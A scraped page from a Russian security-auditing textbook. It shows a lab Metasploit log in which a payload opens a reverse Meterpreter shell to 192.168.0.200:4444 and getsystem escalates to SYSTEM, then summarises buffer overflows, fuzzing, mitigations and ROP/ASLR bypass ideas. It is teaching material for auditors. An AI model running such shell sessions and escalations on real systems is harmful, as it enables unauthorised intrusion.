Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Skabtsov_N_V_-_Audit_bezopasnosti_informatsionnykh_sistem_-_2018.pdf
Скачиваний:
101
Добавлен:
24.01.2021
Размер:
9 Mб
Скачать

Резюме    211

[*]Sending stage (957999 bytes) to 192.168.0.110

[*]Meterpreter session 3 opened (192.168.0.200:4444 -> 192.168.0.110:49181) at 2016-11-27 14:55:58 +0200

meterpreter > getuid

Server username: test-PC\test meterpreter > getsystem

...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter >

meterpreter > meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

Резюме

Переполнение буфера является одной из самых распространенных и в то же время критических уязвимостей.

Несмотря на то что многие специалисты наслышаны о переполнении буфера, а также о том, что эта тема остается очень популярной и освещенной, тем не менее в ней не так-то просто и разобраться. Множество примеров и описаний, которые можно найти в глобальной сети, для понимания требуют хороших навыков программирования на C, понимания Assambler и опыта использования отладчиков. С другой стороны, некоторые статьи описывают методику переполнения буфера, фокусируясь лишь на теоретическом, абстрактном уровне.

Буфер обычно переполняется при отсутствии проверки длины (размера) ввода в соответствии с выделенным участком памяти под данные. Например, при вводе 500 символов в поле, для которого зарезервировано всего 50 байт памяти. В результате будут переписаны «соседние» 450 байт, что может кардинально изменить ход выполнения программы и привести к выполнению произвольного кода.

Для нахождения уязвимостей переполнения буфера обычно используются Fuzzer’ы, при помощи которых программе отправляются данные различной длины и содержания в надежде вызвать сбой программы.

При нахождении уязвимости производится анализ состояния памяти в момент программной ошибки, чтобы оценить возможность эксплуатации данной уязвимости.

Существуют методы защиты от переполнения буфера на уровне компиляции или ОС. Основные: Canaries, SafeSEH, ASLR, DEP. При помощи данных методов эксплуатация уязвимостей переполнения буфера становится существенно сложнее или даже невозможной. Хотя полностью и не исключает эксплуатацию.

Практически для каждого метода защиты есть методы, позволяющие все же проэксплуатировать уязвимость. Например, ASLR часто можно обойти, переписав только часть адреса, которая не изменяется, а в случае с DEP прибегают к ROP (Return Oriented Programming), используя исполняемый код из уже загруженных модулей для выполнения необходимых действий.